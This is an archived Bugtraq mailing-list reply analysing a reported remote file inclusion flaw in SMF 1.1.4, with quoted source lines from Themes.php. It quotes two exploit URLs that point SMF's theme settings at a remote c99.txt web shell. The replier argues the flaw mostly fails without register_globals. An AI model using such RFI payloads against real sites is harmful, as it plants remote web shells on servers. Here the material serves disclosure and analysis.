bugtraq - Re: Smf 1.1.4 Remote File Inclusion Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-id: <47ED3E01.1000803@noaa.gov>
Date: Fri, 28 Mar 2008 14:50:41 -0400
From: Mike Duncan <Mike.Duncan@...a.gov>
To: Jindrich Kubec <kubecj@....cz>
Cc: sibertrwolf@...e.com, bugtraq@...urityfocus.com
Subject: Re: Smf 1.1.4 Remote File Inclusion Vulnerabilities

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

If you look at the source, it is looking for a constant SMF and if this
is undefined, it will die with that error message.

- From line 24 of Sources/Themes.php:
if(!defined('SMF'))
	die('Hacking attempt...');


I looked over the source and like so many of these RFIs coming out
lately, they highly depend on register_globals being on as well.

I think s/he is specifically pointing to line 913 of Sources/Themes.php
as well...
if (file_exists($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php'))
  include($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php');

(sorry for wrapping)


sibertrwolf: Just a suggestion, you may want to put a bit more
information in your disclosures like what versions of PHP and what INI
settings you have set.


Jindrich Kubec wrote:
> At 11:00 28.3.2008, sibertrwolf@...e.com wrote:
>> #
>> /Sources/Subs-Graphics.php?settings[default_theme_dir]=http://bilmemne.siz/c99.txt?
>>
>> #
>> #  /Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt?
> 
> What is it supposed to do? I'm getting only "Hacking attempt..."
> 
> 
> Jindroush (kubecj@...st.com)
> 
> 

- --
Mike Duncan
ISSO, Application Security Specialist
Government Contractor with STG, Inc.
NOAA :: National Climatic Data Center
151 Patton Ave.
Asheville, NC 28801-5001
mike.duncan@...a.gov
828.271.4289
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFH7T3+nvIkv6fg9hYRAry+AJ4si3vF7CMQ2aVhK9OEJFhoWI6mGQCfSrr8
5HSu5zJGQEJuqSZVIYlGf/w=
=I2f6
-----END PGP SIGNATURE-----